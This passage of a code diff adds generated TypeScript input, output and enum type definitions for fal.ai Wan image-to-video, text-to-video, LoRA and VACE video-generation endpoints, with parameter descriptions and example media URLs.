sequences. + * @minimum 1 + * @maximum 60 + * @default 15 + * @example 15 + * @type number | undefined + */ + auto_downsample_min_fps?: number + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Guidance scale for classifier-free guidance. Higher values encourage the model to generate images closely related to the text prompt. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Aspect ratio of the generated video. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWan22VaceFunA14BReframeAspectRatioEnumKey + /** + * @description The transparency mode to apply to the first and last frames. This controls how the transparent areas of the first and last frames are filled. + * @default 'content_aware' + * @example content_aware + * @type string | undefined + */ + transparency_mode?: InputFalAiWan22VaceFunA14BReframeTransparencyModeEnumKey + /** + * @description Sampler to use for video generation. + * @default 'unipc' + * @example unipc + * @type string | undefined + */ + sampler?: InputFalAiWan22VaceFunA14BReframeSamplerEnumKey + /** + * @description Frames per second of the generated video. Must be between 5 to 30. Ignored if match_input_frames_per_second is true. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @example false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The model to use for frame interpolation. Options are 'rife' or 'film'. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWan22VaceFunA14BReframeInterpolatorModelEnumKey + /** + * @description Acceleration to use for inference. Options are 'none' or 'regular'. Accelerated inference will very slightly affect output, but will be significantly faster. + * @default regular + * @example regular + */ + acceleration?: InputFalAiWan22VaceFunA14BReframeAccelerationKey | null + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Temporal downsample factor for the video. This is an integer value that determines how many frames to skip in the video. A value of 0 means no downsampling. For each downsample factor, one upsample factor will automatically be applied. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + temporal_downsample_factor?: number + /** + * @description Number of frames to generate. Must be between 81 to 241 (inclusive). + * @minimum 17 + * @maximum 241 + * @default 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If true, also return a ZIP file containing all generated frames. + * @default false + * @example false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description The text prompt to guide video generation. Optional for reframing. + * @default '' + * @example + * @type string | undefined + */ + prompt?: string + /** + * @description Number of frames to interpolate between the original frames. A value of 0 means no interpolation. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWan22VaceFunA14BReframeVideoQualityEnumKey +} + +export type File1537859C = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type VideoFile9D461F89 = { + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the video + */ + height?: number | null +} + +export type OutputFalAiWan22VaceFunA14BReframe = { + /** + * @description ZIP archive of all video frames if requested. + */ + frames_zip?: File1537859C | null + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated reframe video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-vace-reframe-output.mp4"} + * @type object + */ + video: VideoFile9D461F89 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiWan25PreviewImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiWan25PreviewImageToVideoResolutionEnumKey = + (typeof inputFalAiWan25PreviewImageToVideoResolutionEnum)[keyof typeof inputFalAiWan25PreviewImageToVideoResolutionEnum] + +export const inputFalAiWan25PreviewImageToVideoDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type InputFalAiWan25PreviewImageToVideoDurationEnumKey = + (typeof inputFalAiWan25PreviewImageToVideoDurationEnum)[keyof typeof inputFalAiWan25PreviewImageToVideoDurationEnum] + +/** + * @description Input for image-to-video generation + * @type object + */ +export type InputFalAiWan25PreviewImageToVideo = { + /** + * @description Whether to enable prompt rewriting using LLM. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Video resolution. Valid values: 480p, 720p, 1080p + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiWan25PreviewImageToVideoResolutionEnumKey + /** + * @description The text prompt describing the desired video motion. Max 1500 characters. + * @minLength 1 + * @example The white dragon warrior stands still, eyes full of determination and strength. The camera slowly moves closer or circles around the warrior, highlighting the powerful presence and heroic spirit of the character. + * @type string + */ + prompt: string + /** + * @description + * URL of the audio to use as the background music. Must be publicly accessible. + * Limit handling: If the audio duration exceeds the duration value (5 or 10 seconds), + * the audio is truncated to the first 5 or 10 seconds, and the rest is discarded. If + * the audio is shorter than the video, the remaining part of the video will be silent. + * For example, if the audio is 3 seconds long and the video duration is 5 seconds, the + * first 3 seconds of the output video will have sound, and the last 2 seconds will be silent. + * - Format: WAV, MP3. + * - Duration: 3 to 30 s. + * - File size: Up to 15 MB. + * + */ + audio_url?: string | null + /** + * @description URL of the image to use as the first frame. Must be publicly accessible or base64 data URI. + * @example https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg + * @type string + */ + image_url: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Duration of the generated video in seconds. Choose between 5 or 10 seconds. + * @default '5' + * @example 5 + * @example 10 + * @type string | undefined + */ + duration?: InputFalAiWan25PreviewImageToVideoDurationEnumKey + /** + * @description Negative prompt to describe content to avoid. Max 500 characters. + * @example low resolution, error, worst quality, low quality, defects + */ + negative_prompt?: string | null +} + +export type VideoFile6681C951 = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +/** + * @description Base output for video generation + * @type object + */ +export type OutputFalAiWan25PreviewImageToVideo = { + /** + * @description The seed used for generation + * @example 175932751 + * @type integer + */ + seed: number + /** + * @description The generated video file + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-25-i2v-output.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFile6681C951 + /** + * @description The actual prompt used if prompt rewriting was enabled + * @example The white dragon warrior stands still in a grand cathedral-like structure, its glowing golden eyes fixed forward. The camera slowly moves closer, focusing on the warrior's armored chest and face. It then begins to circle around the warrior, capturing the intricate details of the white scale armor with gold accents. The warrior maintains a strong, determined posture. Ambient sounds and soft choral tones fill the background, enhancing the majestic atmosphere. The camera continues its slow circular motion, emphasizing the warrior's heroic presence before ending with a close-up of the face. + */ + actual_prompt?: string | null +} + +export const inputFalAiWan25PreviewTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWan25PreviewTextToVideoAspectRatioEnumKey = + (typeof inputFalAiWan25PreviewTextToVideoAspectRatioEnum)[keyof typeof inputFalAiWan25PreviewTextToVideoAspectRatioEnum] + +export const inputFalAiWan25PreviewTextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiWan25PreviewTextToVideoResolutionEnumKey = + (typeof inputFalAiWan25PreviewTextToVideoResolutionEnum)[keyof typeof inputFalAiWan25PreviewTextToVideoResolutionEnum] + +export const inputFalAiWan25PreviewTextToVideoDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type InputFalAiWan25PreviewTextToVideoDurationEnumKey = + (typeof inputFalAiWan25PreviewTextToVideoDurationEnum)[keyof typeof inputFalAiWan25PreviewTextToVideoDurationEnum] + +/** + * @description Input for text-to-video generation + * @type object + */ +export type InputFalAiWan25PreviewTextToVideo = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWan25PreviewTextToVideoAspectRatioEnumKey + /** + * @description Whether to enable prompt rewriting using LLM. Improves results for short prompts but increases processing time. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Video resolution tier + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiWan25PreviewTextToVideoResolutionEnumKey + /** + * @description The text prompt for video generation. Supports Chinese and English, max 1500 characters. + * @minLength 1 + * @example The white dragon warrior stands still, eyes full of determination and strength. The camera slowly moves closer or circles around the warrior, highlighting the powerful presence and heroic spirit of the character. + * @type string + */ + prompt: string + /** + * @description + * URL of the audio to use as the background music. Must be publicly accessible. + * Limit handling: If the audio duration exceeds the duration value (5 or 10 seconds), + * the audio is truncated to the first 5 or 10 seconds, and the rest is discarded. If + * the audio is shorter than the video, the remaining part of the video will be silent. + * For example, if the audio is 3 seconds long and the video duration is 5 seconds, the + * first 3 seconds of the output video will have sound, and the last 2 seconds will be silent. + * - Format: WAV, MP3. + * - Duration: 3 to 30 s. + * - File size: Up to 15 MB. + * + */ + audio_url?: string | null + /** + * @description Duration of the generated video in seconds. Choose between 5 or 10 seconds. + * @default '5' + * @example 5 + * @example 10 + * @type string | undefined + */ + duration?: InputFalAiWan25PreviewTextToVideoDurationEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Negative prompt to describe content to avoid. Max 500 characters. + * @example low resolution, error, worst quality, low quality, defects + */ + negative_prompt?: string | null +} + +export type VideoFile690A7C85 = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +/** + * @description Base output for video generation + * @type object + */ +export type OutputFalAiWan25PreviewTextToVideo = { + /** + * @description The seed used for generation + * @example 175932751 + * @type integer + */ + seed: number + /** + * @description The generated video file + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-25-i2v-output.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFile690A7C85 + /** + * @description The actual prompt used if prompt rewriting was enabled + * @example The white dragon warrior stands still in a grand cathedral-like structure, its glowing golden eyes fixed forward. The camera slowly moves closer, focusing on the warrior's armored chest and face. It then begins to circle around the warrior, capturing the intricate details of the white scale armor with gold accents. The warrior maintains a strong, determined posture. Ambient sounds and soft choral tones fill the background, enhancing the majestic atmosphere. The camera continues its slow circular motion, emphasizing the warrior's heroic presence before ending with a close-up of the face. + */ + actual_prompt?: string | null +} + +export const inputFalAiWanI2VAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanI2VAspectRatioEnumKey = + (typeof inputFalAiWanI2VAspectRatioEnum)[keyof typeof inputFalAiWanI2VAspectRatioEnum] + +export const inputFalAiWanI2VResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiWanI2VResolutionEnumKey = + (typeof inputFalAiWanI2VResolutionEnum)[keyof typeof inputFalAiWanI2VResolutionEnum] + +export const inputFalAiWanI2VAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiWanI2VAccelerationEnumKey = + (typeof inputFalAiWanI2VAccelerationEnum)[keyof typeof inputFalAiWanI2VAccelerationEnum] + +export type InputFalAiWanI2V = { + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + guide_scale?: number + /** + * @description The text prompt to guide video generation. + * @example Cars racing in slow motion + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanI2VAspectRatioEnumKey + /** + * @description Resolution of the generated video (480p or 720p). 480p is 0.5 billing units, and 720p is 1 billing unit. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiWanI2VResolutionEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description Number of frames to generate. Must be between 81 to 100 (inclusive). If the number of frames is greater than 81, the video will be generated with 1.25x more billing units. + * @default 81 + */ + num_frames?: number | null + /** + * @description Frames per second of the generated video. Must be between 5 to 24. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description URL of the input image. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://storage.googleapis.com/falserverless/gallery/car_720p.png + * @type string + */ + image_url: string + /** + * @description Negative prompt for video generation. + * @default 'bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Acceleration level to use. The more acceleration, the faster the generation, but with lower quality. The recommended value is 'regular'. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiWanI2VAccelerationEnumKey +} + +export type File9628D274 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanI2V = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/gallery/wan-i2v-example.mp4"} + * @type object + */ + video: File9628D274 +} + +export type LoraWeight = { + /** + * @description Name of the LoRA weight. Used only if `path` is a Hugging Face repository, and required only if you have more than 1 safetensors file in the repo. + */ + weight_name?: string | null + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiWanI2VLoraAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanI2VLoraAspectRatioEnumKey = + (typeof inputFalAiWanI2VLoraAspectRatioEnum)[keyof typeof inputFalAiWanI2VLoraAspectRatioEnum] + +export const inputFalAiWanI2VLoraResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiWanI2VLoraResolutionEnumKey = + (typeof inputFalAiWanI2VLoraResolutionEnum)[keyof typeof inputFalAiWanI2VLoraResolutionEnum] + +export type InputFalAiWanI2VLora = { + /** + * @description The text prompt to guide video generation. + * @example Cars race in slow motion. + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Number of frames to generate. Must be between 81 to 100 (inclusive). If the number of frames is greater than 81, the video will be generated with 1.25x more billing units. + * @default 81 + */ + num_frames?: number | null + /** + * @description URL of the input image. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://storage.googleapis.com/falserverless/gallery/car_720p.png + * @type string + */ + image_url: string + /** + * @description Frames per second of the generated video. Must be between 5 to 24. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description LoRA weights to be used in the inference. + * @default [] + * @type array | undefined + */ + loras?: LoraWeight[] + /** + * @description Aspect ratio of the output video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanI2VLoraAspectRatioEnumKey + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + guide_scale?: number + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If true, the video will be reversed. + * @default false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description If true, the video will be generated faster with no noticeable degradation in the visual quality. + * @default true + * @type boolean | undefined + */ + turbo_mode?: boolean + /** + * @description Resolution of the generated video (480p or 720p). 480p is 0.5 billing units, and 720p is 1 billing unit. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiWanI2VLoraResolutionEnumKey + /** + * @description Negative prompt for video generation. + * @default 'bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string +} + +export type FileEf43638B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiWanI2VLora = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/gallery/wan-i2v-example.mp4"} + * @type object + */ + video: FileEf43638B + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export type InputFalAiWanProImageToVideo = { + /** + * @description The URL of the image to generate the video from + * @example https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg + * @type string + */ + image_url: string + /** + * @description The prompt to generate the video + * @example A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File544Bde1A = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiWanProImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://fal.media/files/kangaroo/K1hB3k-IXBzq9rz1kNOxy.mp4"} + * @type object + */ + video: File544Bde1A +} + +export type InputFalAiWanProTextToVideo = { + /** + * @description The prompt to generate the video + * @example A lone astronaut in a detailed NASA spacesuit performs an exuberant dance on the lunar surface, arms outstretched in joyful abandon against the stark moonscape. The Earth hangs dramatically in the black sky, appearing to streak past due to the motion of the dance, creating a sense of dynamic movement. The scene captures extreme contrasts between the brilliant white of the spacesuit reflecting harsh sunlight and the deep shadows of the lunar craters. Every detail is rendered with photorealistic precision: the texture of the regolith disturbed by the astronaut's boots, the reflections on the helmet visor. + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileA3B4Ae48 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiWanProTextToVideo = { + /** + * @description The generated video + * @example {"url":"https://fal.media/files/panda/YxRLson-aETxeBK1DI4VW.mp4"} + * @type object + */ + video: FileA3B4Ae48 +} + +export type LoraWeightE66Bf9B3 = { + /** + * @description Name of the LoRA weight. Used only if `path` is a Hugging Face repository, and required only if you have more than 1 safetensors file in the repo. + */ + weight_name?: string | null + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiWanT2VLoraResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanT2VLoraResolutionEnumKey = + (typeof inputFalAiWanT2VLoraResolutionEnum)[keyof typeof inputFalAiWanT2VLoraResolutionEnum] + +export const inputFalAiWanT2VLoraAspectRatioEnum = { + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputFalAiWanT2VLoraAspectRatioEnumKey = + (typeof inputFalAiWanT2VLoraAspectRatioEnum)[keyof typeof inputFalAiWanT2VLoraAspectRatioEnum] + +export type InputFalAiWanT2VLora = { + /** + * @description Resolution of the generated video (480p, 580p, or 720p). + * @default '480p' + * @type string | undefined + */ + resolution?: InputFalAiWanT2VLoraResolutionEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Number of frames to generate. Must be between 81 to 100 (inclusive). + * @default 81 + */ + num_frames?: number | null + /** + * @description LoRA weights to be used in the inference. + * @default [] + * @type array | undefined + */ + loras?: LoraWeightE66Bf9B3[] + /** + * @description Frames per second of the generated video. Must be between 5 to 24. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Aspect ratio of the generated video (16:9 or 9:16). + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanT2VLoraAspectRatioEnumKey + /** + * @description If true, the video will be reversed. + * @default false + * @type boolean | undefined + */ + reverse_video?: boolean + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If true, the video will be generated faster with no noticeable degradation in the visual quality. + * @default true + * @type boolean | undefined + */ + turbo_mode?: boolean + /** + * @description Negative prompt for video generation. + * @default 'bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The text prompt to guide video generation. + * @example A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. She wears a black leather jacket, a long red dress, and black boots, and carries a black purse. + * @type string + */ + prompt: string +} + +export type File731Ce732 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiWanT2VLora = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/web-examples/wan/t2v.mp4"} + * @type object + */ + video: File731Ce732 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiWanVace14BAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '1:1': '1:1', + '9:16': '9:16', +} as const + +export type InputFalAiWanVace14BAspectRatioEnumKey = + (typeof inputFalAiWanVace14BAspectRatioEnum)[keyof typeof inputFalAiWanVace14BAspectRatioEnum] + +export const inputFalAiWanVace14BResolutionEnum = { + auto: 'auto', + '240p': '240p', + '360p': '360p', + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanVace14BResolutionEnumKey = + (typeof inputFalAiWanVace14BResolutionEnum)[keyof typeof inputFalAiWanVace14BResolutionEnum] + +export const inputFalAiWanVace14BVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanVace14BVideoWriteModeEnumKey = + (typeof inputFalAiWanVace14BVideoWriteModeEnum)[keyof typeof inputFalAiWanVace14BVideoWriteModeEnum] + +export const inputFalAiWanVace14BTransparencyModeEnum = { + content_aware: 'content_aware', + white: 'white', + black: 'black', +} as const + +export type InputFalAiWanVace14BTransparencyModeEnumKey = + (typeof inputFalAiWanVace14BTransparencyModeEnum)[keyof typeof inputFalAiWanVace14BTransparencyModeEnum] + +export const inputFalAiWanVace14BAcceleration = { + none: 'none', + low: 'low', + regular: 'regular', +} as const + +export type InputFalAiWanVace14BAccelerationKey = + (typeof inputFalAiWanVace14BAcceleration)[keyof typeof inputFalAiWanVace14BAcceleration] + +export const inputFalAiWanVace14BTaskEnum = { + depth: 'depth', + pose: 'pose', + inpainting: 'inpainting', + outpainting: 'outpainting', + reframe: 'reframe', +} as const + +export type InputFalAiWanVace14BTaskEnumKey = + (typeof inputFalAiWanVace14BTaskEnum)[keyof typeof inputFalAiWanVace14BTaskEnum] + +export const inputFalAiWanVace14BInterpolatorModelEnum = { + rife: 'rife', + film: 'film', +} as const + +export type InputFalAiWanVace14BInterpolatorModelEnumKey = + (typeof inputFalAiWanVace14BInterpolatorModelEnum)[keyof typeof inputFalAiWanVace14BInterpolatorModelEnum] + +export const inputFalAiWanVace14BVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanVace14BVideoQualityEnumKey = + (typeof inputFalAiWanVace14BVideoQualityEnum)[keyof typeof inputFalAiWanVace14BVideoQualityEnum] + +export const inputFalAiWanVace14BSamplerEnum = { + unipc: 'unipc', + 'dpm++': 'dpm++', + euler: 'euler', +} as const + +export type InputFalAiWanVace14BSamplerEnumKey = + (typeof inputFalAiWanVace14BSamplerEnum)[keyof typeof inputFalAiWanVace14BSamplerEnum] + +export type 